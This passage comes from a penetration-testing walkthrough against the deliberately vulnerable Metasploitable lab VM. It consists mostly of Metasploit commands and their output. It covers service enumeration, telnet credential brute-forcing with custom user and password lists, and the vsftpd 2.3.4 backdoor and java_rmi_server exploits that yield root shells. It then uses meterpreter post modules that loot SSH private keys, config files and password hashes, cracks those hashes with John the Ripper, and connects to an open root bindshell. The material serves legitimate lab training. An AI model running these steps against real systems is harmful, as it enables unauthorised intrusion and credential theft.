data={"output"=>"\n  program version   port/proto  service\n  100000  2           111/tcp  rpcbind\n  100000
2           111/udp  rpcbind\n  100003  2,3,4       2049/tcp  nfs\n  100003  2,3,4       2049/udp  nfs\n  100005
1,2,3      37697/tcp  mountd\n  100005  1,2,3      58662/udp  mountd\n  100021  1,3,4      55980/udp  nlockmgr\n
100021  1,3,4      59689/tcp  nlockmgr\n  100024  1          37965/udp  status\n  100024  1          54441/tcp
status\n"}
[*] Time: 2013-06-06 02:50:26 UTC Note: host=10.10.10.200 service=status type=nmap.nse.rpcinfo.udp.37965
data={"output"=>"\n  program version   port/proto  service\n  100000  2           111/tcp  rpcbind\n  100000
2           111/udp  rpcbind\n  100003  2,3,4       2049/tcp  nfs\n  100003  2,3,4       2049/udp  nfs\n  100005
1,2,3      37697/tcp  mountd\n  100005  1,2,3      58662/udp  mountd\n  100021  1,3,4      55980/udp  nlockmgr\n
100021  1,3,4      59689/tcp  nlockmgr\n  100024  1          37965/udp  status\n  100024  1          54441/tcp
status\n"}
msf>
```

There is lots of detail in the above, we can see the notes from the *nmap* command but we can also see information from the modules we have run. Here are some of the items to pay attention to - lets start with the *samba* shares..

```
[*] Time: 2013-06-06 02:22:16 UTC Note: host=10.10.10.200 service=smb type=smb.shares data={:shares=>[["print$", "DISK",
"Printer Drivers"], ["tmp", "DISK", "oh noes!"], ["opt", "DISK", ""], ["IPC$", "IPC", "IPC Service (metasploitable
server (Samba 3.0.20-Debian))"], ["ADMIN$", "IPC", "IPC Service (metasploitable server (Samba 3.0.20-Debian))"]]}
```

Also a listing of usernames from querying the *samba* server..

```
[*] Time: 2013-06-06 02:29:32 UTC Note: host=10.10.10.200 service=smb type=smb.domain.lookupsid
data={:name=>"METASPLOITABLE", :txt_sid=>"5-21-1042354039-2475377354-766472396", :users=>{500=>"Administrator",
501=>"nobody", 1000=>"root", 1002=>"daemon", 1004=>"bin", 1006=>"sys", 1008=>"sync", 1010=>"games", 1012=>"man",
1014=>"lp", 1016=>"mail", 1018=>"news", 1020=>"uucp", 1026=>"proxy", 1066=>"www-data", 1068=>"backup", 1076=>"list",
1078=>"irc", 1082=>"gnats", 1200=>"libuuid", 1202=>"dhcp", 1204=>"syslog", 1206=>"klog", 1208=>"sshd", 1210=>"bind",
1212=>"postfix", 1214=>"ftp", 1216=>"postgres", 1218=>"mysql", 1220=>"tomcat55", 1222=>"distccd", 1224=>"telnetd",
1226=>"proftpd", 1228=>"statd", 1230=>"snmp", 3000=>"msfadmin", 3002=>"user", 3004=>"service"}, :groups=>{512=>"Domain
Admins", 513=>"Domain Users", 514=>"Domain Guests", 1001=>"root", 1003=>"daemon", 1005=>"bin", 1007=>"sys", 1009=>"adm",
1011=>"tty", 1013=>"disk", 1015=>"lp", 1017=>"mail", 1019=>"news", 1021=>"uucp", 1025=>"man", 1027=>"proxy",
1031=>"kmem", 1041=>"dialout", 1043=>"fax", 1045=>"voice", 1049=>"cdrom", 1051=>"floppy", 1053=>"tape", 1055=>"sudo",
1059=>"audio", 1061=>"dip", 1067=>"www-data", 1069=>"backup", 1075=>"operator", 1077=>"list", 1079=>"irc", 1081=>"src",
1083=>"gnats", 1085=>"shadow", 1087=>"utmp", 1089=>"video", 1091=>"sasl", 1093=>"plugdev", 1101=>"staff", 1121=>"games",
1201=>"users", 1203=>"libuuid", 1205=>"dhcp", 1207=>"syslog", 1209=>"klog", 1211=>"scanner", 1213=>"nvram",
1215=>"fuse", 1217=>"crontab", 1219=>"mlocate", 1221=>"ssh", 1223=>"lpadmin", 1225=>"admin", 1227=>"bind", 1229=>"ssl-
cert", 1231=>"postfix", 1233=>"postdrop", 1235=>"postgres", 1237=>"mysql", 1239=>"sambashare", 1241=>"telnetd",
3001=>"msfadmin", 3003=>"user", 3005=>"service"}}
```

Also a listing of *NFS* exports..

```
[*] Time: 2013-06-06 02:39:07 UTC Note: host=10.10.10.200 service=nfs type=nfs.exports data={:exports=>[["/", ["*"]]]}
```

All very good information and useful, but remember you cannot switch your brain off. When you ran '*msf> use auxiliary/admin/http/tomcat_administration*' you will have seen it found a default username and password *(tomcat/tomcat)*, but this is not stored in the database. So always remember to pay attention to what you get from the modules. With that, lets run *nmap* to check the udp ports as well..

```
msf> db_nmap -sU -p 111,2049,37965,55980,58662 -sV -sC 10.10.10.200
[*] Nmap: Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-05 22:50 EDT
[*] Nmap: 'mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or
specify valid servers with --dns-servers'
[*] Nmap: Nmap scan report for 10.10.10.200
[*] Nmap: Host is up (0.0018s latency).
[*] Nmap: PORT      STATE SERVICE  VERSION
[*] Nmap: 111/udp   open  rpcbind  2 (RPC #100000)
[*] Nmap: | rpcinfo:
[*] Nmap: |   program version   port/proto  service
[*] Nmap: |   100000  2            111/tcp  rpcbind
[*] Nmap: |   100000  2            111/udp  rpcbind
[*] Nmap: |   100003  2,3,4       2049/tcp  nfs
[*] Nmap: |   100003  2,3,4       2049/udp  nfs
[*] Nmap: |   100005  1,2,3      37697/tcp  mountd
[*] Nmap: |   100005  1,2,3      58662/udp  mountd
[*] Nmap: |   100021  1,3,4      55980/udp  nlockmgr
[*] Nmap: |   100021  1,3,4      59689/tcp  nlockmgr
[*] Nmap: |   100024  1          37965/udp  status
[*] Nmap: |_  100024  1          54441/tcp  status
[*] Nmap: 2049/udp  open  nfs      2-4 (RPC #100003)
[*] Nmap: 37965/udp open  status   1 (RPC #100024)
[*] Nmap: | rpcinfo:
[*] Nmap: |   program version   port/proto  service
[*] Nmap: |   100000  2            111/tcp  rpcbind
[*] Nmap: |   100000  2            111/udp  rpcbind
[*] Nmap: |   100003  2,3,4       2049/tcp  nfs
[*] Nmap: |   100003  2,3,4       2049/udp  nfs
[*] Nmap: |   100005  1,2,3      37697/tcp  mountd
[*] Nmap: |   100005  1,2,3      58662/udp  mountd
[*] Nmap: |   100021  1,3,4      55980/udp  nlockmgr
[*] Nmap: |   100021  1,3,4      59689/tcp  nlockmgr
[*] Nmap: |   100024  1          37965/udp  status
[*] Nmap: |_  100024  1          54441/tcp  status
[*] Nmap: 55980/udp open  nlockmgr 1-4 (RPC #100021)
[*] Nmap: 58662/udp open  mountd   1-3 (RPC #100005)
[*] Nmap: MAC Address: 08:00:27:6A:57:59 (Cadmus Computer Systems)
[*] Nmap: Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 5.22 seconds
msf>
```

Now lets use what we found out above and create our own users list and password list. We will use those as we go through the credential modules. Lets use the telnet login module as an example..

```
msf > use auxiliary/scanner/telnet/telnet_login
msf auxiliary(telnet_login) > show options
```

```
Module options (auxiliary/scanner/telnet/telnet_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   true             no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             23               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per
line
   USER_AS_PASS      true             no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

msf auxiliary(telnet_login) > hosts -R

Hosts
=====

address       mac                name            os_name  os_flavor  os_sp  purpose  info  comments
-------       ---                ----            -------  ---------  -----  -------  ----  --------
10.10.10.200  08:00:27:6A:57:59  metasploitable  Linux    Debian            server

RHOSTS => 10.10.10.200
```

Now lets specify our new custom user and password list and run it..

```
msf auxiliary(telnet_login) > set USER_FILE /root/users.txt
USER_FILE => /root/users.txt
msf auxiliary(telnet_login) > set PASS_FILE /root/pass.txt
PASS_FILE => /root/pass.txt
msf auxiliary(telnet_login) > set VERBOSE false
VERBOSE => false
msf auxiliary(telnet_login) > run

[+] 10.10.10.200 - SUCCESSFUL LOGIN postgres : postgres
[*] Attempting to start session 10.10.10.200:23 with postgres:postgres
[*] Command shell session 1 opened (10.10.10.100:39846 -> 10.10.10.200:23) at 2013-06-05 23:18:14 -0400
[+] 10.10.10.200 - SUCCESSFUL LOGIN msfadmin : msfadmin
[*] Attempting to start session 10.10.10.200:23 with msfadmin:msfadmin
[*] Command shell session 2 opened (10.10.10.100:48299 -> 10.10.10.200:23) at 2013-06-05 23:18:30 -0400
[+] 10.10.10.200 - SUCCESSFUL LOGIN user : user
[*] Attempting to start session 10.10.10.200:23 with user:user
[*] Command shell session 3 opened (10.10.10.100:49253 -> 10.10.10.200:23) at 2013-06-05 23:18:31 -0400
[+] 10.10.10.200 - SUCCESSFUL LOGIN service : service
[*] Attempting to start session 10.10.10.200:23 with service:service
[*] Command shell session 4 opened (10.10.10.100:51263 -> 10.10.10.200:23) at 2013-06-05 23:18:32 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(telnet_login) >
```

What you see is that we found 4 username and password combinations that worked. We can now update our password list. But what you can also see is that each successful connection created a session, so for 4 successful logins we have 4 sessions. Lets list them..

```
msf> sessions -l

Active sessions
===============

  Id  Type    Information                               Connection
  --  ----    -----------                               ----------
  1   shell   TELNET postgres:postgres (10.10.10.200:23)  10.10.10.100:39846 -> 10.10.10.200:23 (10.10.10.200)
  2   shell   TELNET msfadmin:msfadmin (10.10.10.200:23)  10.10.10.100:48299 -> 10.10.10.200:23 (10.10.10.200)
  3   shell   TELNET user:user (10.10.10.200:23)          10.10.10.100:49253 -> 10.10.10.200:23 (10.10.10.200)
  4   shell   TELNET service:service (10.10.10.200:23)    10.10.10.100:51263 -> 10.10.10.200:23 (10.10.10.200)
```

Lets interact with the first one..

```
msf> sessions -i 1
[*] Starting interaction with 1...
```

..and take a look who we are running as..

```
postgres@metasploitable:~$ id
id
uid=108(postgres) gid=117(postgres) groups=114(ssl-cert),117(postgres)
postgres@metasploitable:~$
```

If we interact with the second one..

```
msf> sessions -i 2
[*] Starting interaction with 2...

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ id
id
uid=1000(msfadmin) gid=1000(msfadmin)
groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
```

We see some interesting group memberships. Lets take a look at what this user is allowed to do..

```
$sudo -l
[sudo] password for msfadmin: msfadmin

User msfadmin may run the following commands on this host:
    (ALL) ALL
msfadmin@metasploitable:~$
```

In a normal pentest, this would now become our focus since we have access to a root shell. But as we work through this model answer you will find this a lot :) So lets leave this for now and carry on running the other credential modules..

```
msf> use auxiliary/scanner/vnc/vnc_login
msf> use auxiliary/scanner/ftp/ftp_login
msf> use auxiliary/scanner/ssh/ssh_login
msf> use auxiliary/scanner/smb/smb_login
msf> use auxiliary/scanner/rservices/rlogin_login
msf> use auxiliary/scanner/mysql/mysql_login
msf> use auxiliary/scanner/postgres/postgres_login
```

Some of the modules need a bit of customising, run the ftp login module a second time but change the target port..

```
msf> use auxiliary/scanner/ftp/ftp_login
msf auxiliary(ftp_login) > set RPORT 2121
```

To run this one you need the information from the '*auxiliary/scanner/mysql/mysql_login*' module..

```
msf> use auxiliary/scanner/mysql/mysql_hashdump
msf auxiliary(mysql_hashdump) > set USERNAME root
```

And again for this one you need to change the target port..

```
msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set RPORT 8180
```

Now having run through all of these, lets query the database with the '*creds*' command..

```
msf> creds

Credentials
===========

host          port  user                pass                type         active?
----          ----  ----                ----                ----         -------
10.10.10.200  23    postgres            postgres            password     true
10.10.10.200  23    msfadmin            msfadmin            password     true
10.10.10.200  23    user                user                password     true
10.10.10.200  513   proftpd                                 password     true
```

```
10.10.10.200  513   statd                                    password     true
10.10.10.200  513   snmp                                     password     true
10.10.10.200  513   msfadmin                                 password     true
10.10.10.200  513   user                                     password     true
10.10.10.200  513   service                                  password     true
10.10.10.200  5900                      password             password     true
10.10.10.200  23    service             service              password     true
10.10.10.200  21    anonymous           mozilla@example.com  password_ro  true
10.10.10.200  21    postgres            postgres             password     true
10.10.10.200  21    msfadmin            msfadmin             password     true
10.10.10.200  21    user                user                 password     true
10.10.10.200  21    service             service              password     true
10.10.10.200  22    postgres            postgres             password     true
10.10.10.200  22    msfadmin            msfadmin             password     true
10.10.10.200  22    user                user                 password     true
10.10.10.200  22    service             service              password     true
10.10.10.200  513   root                                     password     true
10.10.10.200  513   nobody                                   password     true
10.10.10.200  513   proxy                                    password     true
10.10.10.200  513   backup                                   password     true
10.10.10.200  513   syslog                                   password     true
10.10.10.200  513   klog                                     password     true
10.10.10.200  513   ftp                                      password     true
10.10.10.200  513   postgres                                 password     true
10.10.10.200  513   mysql                                    password     true
10.10.10.200  513   tomcat55                                 password     true
10.10.10.200  513   distccd                                  password     true
10.10.10.200  513   telnetd                                  password     true
10.10.10.200  2121  postgres            postgres             password     true
10.10.10.200  2121  msfadmin            msfadmin             password     true
10.10.10.200  2121  user                user                 password     true
10.10.10.200  2121  service             service              password     true
10.10.10.200  3306  root                                     password     true
10.10.10.200  5432  template1/postgres  postgres             password     true
10.10.10.200  8180  tomcat              tomcat               password     true

[*] Found 39 credentials.
```

Not bad. Once again you will see a few options to get root access, but as before lets leave that for now and carry on looking at what else we can do. Lets start working through the exploit modules using the services listing as our guideline. Bear in mind that the '*hosts -R*' command will not work in the exploit modules since it does not set the *RHOST* variable, but you can use the '*setg*' command to set the *RHOST* module globally within the console. Lets move on and use the vsftpd exploit module as an example...

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  21               yes       The target port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(vsftpd_234_backdoor) > setg RHOST 10.10.10.200
RHOST => 10.10.10.200
msf exploit(vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact
PAYLOAD => cmd/unix/interact
msf exploit(vsftpd_234_backdoor) > exploit

[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.10.10.100:57397 -> 10.10.10.200:6200) at 2013-06-06 12:03:24 -0400

bin
```

```
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
```

So we can see that the exploit worked, and we got a root shell. Yes, the box is pretty much toast several times over by now :) But since we are using this as a learning experience lets carry on. Now not all exploits are equal, some requre more tweaking of the options, some are limited in the payloads they can use so you always need to pay attention to the options and details. But what we want to aim for is the *meterpreter* payload. This is a post exploitation environment and is very powerful. Lets take a look..

```
msf> use exploit/multi/misc/java_rmi_server
msf exploit(java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    10.10.10.200     yes       The target address
   RPORT    1099             yes       The target port
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or
0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)


msf exploit(java_rmi_server) > set PAYLOAD java/meterpreter/bind_tcp
PAYLOAD => java/meterpreter/bind_tcp
msf exploit(java_rmi_server) > exploit

[*] Started bind handler
[*] Using URL: http://0.0.0.0:8080/kIYIQkvBrFf
[*]  Local IP: http://127.0.0.1:8080/kIYIQkvBrFf
[*] Connected and sending request for http://10.10.10.100:8080/kIYIQkvBrFf/UnsiJ.jar
[*] 10.10.10.200     java_rmi_server - Replied to request for payload JAR
[*] Sending stage (30216 bytes) to 10.10.10.200
[+] Target 10.10.10.200:1099 may be exploitable...
[*] Meterpreter session 3 opened (10.10.10.100:34285 -> 10.10.10.200:4444) at 2013-06-06 12:15:07 -0400
[*] Server stopped.
```

So at this stage we can see the exploit worked and our *meterpreter* shell is running. It has many different options and also allows for post explotation scripts. Lets start by looking at our privilege level..

```
meterpreter > getuid
Server username: root
```

That makes things easier. Lets run some post modules which will get us a bunch of useful data from the server..

```
meterpreter > run post/multi/gather/ssh_creds
[*] Finding .ssh directories
[*] Looting 3 directories
```

```
[+] Downloaded /home/msfadmin/.ssh/authorized_keys -> /root/.msf4/
loot/20130606121729_default_10.10.10.200_ssh.authorized_k_711016.txt
[+] Downloaded /home/msfadmin/.ssh/id_rsa -> /root/.msf4/loot/20130606121730_default_10.10.10.200_ssh.id_rsa_972813.txt
[*] Saving private key id_rsa as cred
[+] Downloaded /home/msfadmin/.ssh/id_rsa.pub -> /root/.msf4/
loot/20130606121730_default_10.10.10.200_ssh.id_rsa.pub_002754.txt
[+] Downloaded /home/user/.ssh/id_dsa.pub -> /root/.msf4/
loot/20130606121731_default_10.10.10.200_ssh.id_dsa.pub_783953.txt
[+] Downloaded /home/user/.ssh/id_dsa -> /root/.msf4/loot/20130606121732_default_10.10.10.200_ssh.id_dsa_110756.txt
[*] Saving private key id_dsa as cred
[+] Downloaded /root/.ssh/known_hosts -> /root/.msf4/loot/20130606121732_default_10.10.10.200_ssh.known_hosts_465849.txt
[+] Downloaded /root/.ssh/authorized_keys -> /root/.msf4/
loot/20130606121732_default_10.10.10.200_ssh.authorized_k_785562.txt

meterpreter > run post/linux/gather/hashdump
[+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
[+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
[+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
[+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
[+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
[+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash
[+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash
[+] Unshadowed Password File: /root/.msf4/loot/20130606130051_default_10.10.10.200_linux.hashes_221962.txt

meterpreter > run post/linux/gather/enum_configs
[*] Running module against metasploitable
[*] Info:
[*]                     _                  _       _ _        _     _     ____   _ __ ___   ___| |_ __ _ ___ _ __ | |
___ (_) |_ __ _| |__ | | ___|___ \ | '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) || | | | | |
__/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/ |_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|
_|\___|_____|                            |_|                                          Warning: Never expose this VM to
an untrusted network!Contact: msfdev[at]metasploit.comLogin with msfadmin/msfadmin to get started
[*]     Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

[*] apache2.conf stored in /root/.msf4/loot/20130606130327_default_10.10.10.200_linux.enum.conf_844703.txt
[*] ports.conf stored in /root/.msf4/loot/20130606130328_default_10.10.10.200_linux.enum.conf_016771.txt
[-] Failed to open file: /etc/nginx/nginx.conf
[*] nginx.conf stored in /root/.msf4/loot/20130606130328_default_10.10.10.200_linux.enum.conf_177680.txt
[-] Failed to open file: /etc/snort/snort.conf
[*] snort.conf stored in /root/.msf4/loot/20130606130328_default_10.10.10.200_linux.enum.conf_159740.txt
[*] my.cnf stored in /root/.msf4/loot/20130606130329_default_10.10.10.200_linux.enum.conf_628567.txt
[*] ufw.conf stored in /root/.msf4/loot/20130606130329_default_10.10.10.200_linux.enum.conf_662218.txt
[*] sysctl.conf stored in /root/.msf4/loot/20130606130329_default_10.10.10.200_linux.enum.conf_545627.txt
[-] Failed to open file: /etc/security.access.conf
[*] security.access.conf stored in /root/.msf4/loot/20130606130330_default_10.10.10.200_linux.enum.conf_996933.txt
[*] shells stored in /root/.msf4/loot/20130606130330_default_10.10.10.200_linux.enum.conf_381893.txt
[-] Failed to open file: /etc/security/sepermit.conf
[*] sepermit.conf stored in /root/.msf4/loot/20130606130330_default_10.10.10.200_linux.enum.conf_602517.txt
[-] Failed to open file: /etc/ca-certificates.conf
[*] ca-certificates.conf stored in /root/.msf4/loot/20130606130330_default_10.10.10.200_linux.enum.conf_216152.txt
[*] access.conf stored in /root/.msf4/loot/20130606130331_default_10.10.10.200_linux.enum.conf_857353.txt
[-] Failed to open file: /etc/gated.conf
[*] gated.conf stored in /root/.msf4/loot/20130606130331_default_10.10.10.200_linux.enum.conf_352378.txt
[*] rpc stored in /root/.msf4/loot/20130606130332_default_10.10.10.200_linux.enum.conf_076375.txt
[-] Failed to open file: /etc/psad/psad.conf
[*] psad.conf stored in /root/.msf4/loot/20130606130332_default_10.10.10.200_linux.enum.conf_258656.txt
[*] debian.cnf stored in /root/.msf4/loot/20130606130333_default_10.10.10.200_linux.enum.conf_228841.txt
[-] Failed to open file: /etc/chkrootkit.conf
[*] chkrootkit.conf stored in /root/.msf4/loot/20130606130333_default_10.10.10.200_linux.enum.conf_609799.txt
[*] logrotate.conf stored in /root/.msf4/loot/20130606130333_default_10.10.10.200_linux.enum.conf_462583.txt
[-] Failed to open file: /etc/rkhunter.conf
[*] rkhunter.conf stored in /root/.msf4/loot/20130606130334_default_10.10.10.200_linux.enum.conf_871997.txt
[*] smb.conf stored in /root/.msf4/loot/20130606130334_default_10.10.10.200_linux.enum.conf_854546.txt
[*] ldap.conf stored in /root/.msf4/loot/20130606130335_default_10.10.10.200_linux.enum.conf_247954.txt
[-] Failed to open file: /etc/openldap/openldap.conf
[*] openldap.conf stored in /root/.msf4/loot/20130606130335_default_10.10.10.200_linux.enum.conf_562092.txt
[-] Failed to open file: /etc/cups/cups.conf
[*] cups.conf stored in /root/.msf4/loot/20130606130335_default_10.10.10.200_linux.enum.conf_150453.txt
[-] Failed to open file: /etc/opt/lampp/etc/httpd.conf
[*] httpd.conf stored in /root/.msf4/loot/20130606130335_default_10.10.10.200_linux.enum.conf_324356.txt
[*] sysctl.conf stored in /root/.msf4/loot/20130606130336_default_10.10.10.200_linux.enum.conf_122863.txt
[-] Failed to open file: /etc/proxychains.conf
[*] proxychains.conf stored in /root/.msf4/loot/20130606130336_default_10.10.10.200_linux.enum.conf_560935.txt
[-] Failed to open file: /etc/cups/snmp.conf
```

```
[*] snmp.conf stored in /root/.msf4/loot/20130606130336_default_10.10.10.200_linux.enum.conf_642527.txt
[-] Failed to open file: /etc/mail/sendmail.conf
[*] sendmail.conf stored in /root/.msf4/loot/20130606130336_default_10.10.10.200_linux.enum.conf_923786.txt
[-] Failed to open file: /etc/snmp/snmp.conf
[*] snmp.conf stored in /root/.msf4/loot/20130606130337_default_10.10.10.200_linux.enum.conf_581517.txt

meterpreter > run post/linux/gather/enum_users_history
[+] Info:
[+]                    _                  _       _ _        _     _      ____   _ __ ___   ___| |_ __ _ ___ _ __ | |
___ (_) |_ __ _| |__ | | ___|___ \ | '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) || | | | | |
__/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/ |_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|
_|\___|_____|                          |_|                                           Warning: Never expose this VM to
an untrusted network!Contact: msfdev[at]metasploit.comLogin with msfadmin/msfadmin to get started
[+]     Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

[-] Failed to open file: /home/root
/.bash_history
[*] History for root
 stored in /root/.msf4/loot/20130606130407_default_10.10.10.200_linux.enum.users_357378.txt
[-] Failed to open file: /home/root
/.mysql_history
[*] SQL History for root
 stored in /root/.msf4/loot/20130606130407_default_10.10.10.200_linux.enum.users_934546.txt
[-] Failed to open file: /home/root
/.viminfo
[*] VIM History for root
 stored in /root/.msf4/loot/20130606130407_default_10.10.10.200_linux.enum.users_249546.txt
[*] Last logs stored in /root/.msf4/loot/20130606130408_default_10.10.10.200_linux.enum.users_464718.txt
[*] Sudoers stored in /root/.msf4/loot/20130606130408_default_10.10.10.200_linux.enum.users_065232.txt
```

All good data which we will come back to later. For now lets carry on looking at the other exploits. Remember to check your options and leverage the information you already have as needed..

```
msf> use exploit/multi/samba/usermap_script
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/unix/irc/unreal_ircd_3281_backdoor
msf> use exploit/multi/http/tomcat_mgr_deploy
```

We have now exploited the target in a few ways, lets step back and take a look at some of the data we got - specifically the passwords we dumped using the post modules from the *meterpreter* shell. Since metasploit now has '*john-the-ripper*' in it's toolset we will use that..

```
msf> use auxiliary/analyze/jtr_linux
msf auxiliary(jtr_linux) > show options

Module options (auxiliary/analyze/jtr_linux):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Crypt      false            no        Try crypt() format hashes(Very Slow)
   JOHN_BASE                   no        The directory containing John the Ripper (src, run, doc)
   JOHN_PATH                   no        The absolute path to the John the Ripper executable
   Munge      false            no        Munge the Wordlist (Slower)
   Wordlist                    no        The path to an optional Wordlist
```

Seriously, you change nothing - you just run it. It will automatically build a simple wordlist and pull the hashes from the data you have in the database..

```
msf auxiliary(jtr_linux) > run

[*] Seeding wordlist with DB schema info... 0 words added
[*] Seeding with MSSQL Instance Names....0 words added
[*] Seeding with hostnames....1 words added
[*] Seeding with found credentials....82 words added
[*] Seeding with cracked passwords from John....0 words added
[*] Seeding with default John wordlist...88395 words added
[*] De-duping the wordlist....
[*] Wordlist Seeded with 88411 words
[*] HashList: /tmp/jtrtmp20130606-14139-18c04t4
[*] Trying Format:md5 Wordlist: /tmp/jtrtmp20130606-14139-2omcdv

guesses: 6  time: 0:00:58:10 14.37% (ETA: Thu Jun  6 20:33:24 2013)  c/s: 2435  trying: Piggy9
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
[-] Auxiliary interrupted by the console user
[*] Auxiliary module execution completed
```

You can see I manually stopped the module after a bit, but lets see what progress was made. We will look at the hashes found, then the original list to see which were cracked..

```
msf auxiliary(jtr_linux) > cat /root/.msf4/john.pot
[*] exec: cat /root/.msf4/john.pot

$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:postgres
$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:msfadmin
$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:user
$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:service
$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:123456789
$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:batman

msf auxiliary(jtr_linux) > cat /tmp/jtrtmp20130606-14139-18c04t4
[*] exec: cat /tmp/jtrtmp20130606-14139-18c04t4

root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash:10.10.10.200
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh:10.10.10.200
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false:10.10.10.200
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash:10.10.10.200
postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/
bash:10.10.10.200
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash:10.10.10.200
service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash:10.10.10.200
msf auxiliary(jtr_linux) >
```

6 out of the 7 hashes were cracked. What you will also notice is that I used normal shell from within the metasploit *msfconsole*. Strictly speaking this is a bit of a cheat since we were trying to use only the metasploit tool, but there are a few simple things that we can do using this that there are no modules for (currently). To start with, remember the strange results we got in our first nmap command for port 1524? Lets take a look..

```
msf> telnet 10.10.10.200 1524
[*] exec: telnet 10.10.10.200 1524

Trying 10.10.10.200...
Connected to 10.10.10.200.
Escape character is '^]'.
id
root@metasploitable:/# uid=0(root) gid=0(root) groups=0(root)
ls
root@metasploitable:/# root@metasploitable:/# bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
```

Yay. Someone left a root shell listening on that port. Another way in. Moving, remember NFS? And the shares it was making available? Lets take a look..

```
